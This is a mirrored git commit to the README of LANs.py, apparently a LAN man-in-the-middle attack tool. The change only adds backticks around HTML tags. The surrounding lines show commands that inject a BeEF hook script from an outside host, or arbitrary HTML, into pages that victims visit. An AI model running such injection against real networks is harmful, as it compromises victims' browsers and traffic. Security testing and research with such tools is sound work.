mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-06 04:52:18 -07:00
escaped HTML
This commit is contained in:
parent
2a933bf58b
commit
66029d622a
1 changed files with 2 additions and 2 deletions
|
@ -51,14 +51,14 @@ python LANs.py -u -p -d -ip 192.168.0.10
|
||||||
python LANs.py -b http://192.168.0.5:3000/hook.js
|
python LANs.py -b http://192.168.0.5:3000/hook.js
|
||||||
```
|
```
|
||||||
|
|
||||||
Inject a BeEF hook URL (http://beefproject.com/, tutorial: http://resources.infosecinstitute.com/beef-part-1/) into pages the victim visits. This just wraps the argument in <script> tags so you can really enter any location of a javascript file. Attempts to insert it after the first </head> tag found in the page's HTML.
|
Inject a BeEF hook URL (http://beefproject.com/, tutorial: http://resources.infosecinstitute.com/beef-part-1/) into pages the victim visits. This just wraps the argument in `<script>` tags so you can really enter any location of a javascript file. Attempts to insert it after the first </head> tag found in the page's HTML.
|
||||||
|
|
||||||
|
|
||||||
``` shell
|
``` shell
|
||||||
python LANs.py -c '<title>Owned.</title>'
|
python LANs.py -c '<title>Owned.</title>'
|
||||||
```
|
```
|
||||||
|
|
||||||
Inject arbitrary HTML into pages the victim visits. First tries to inject it after the first <head> tag and failing that, injects prior to the first </head> tag. This example will change the page title to 'Owned.'
|
Inject arbitrary HTML into pages the victim visits. First tries to inject it after the first `<head>` tag and failing that, injects prior to the first `</head>` tag. This example will change the page title to 'Owned.'
|
||||||
|
|
||||||
|
|
||||||
### Read from pcap:
|
### Read from pcap:
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue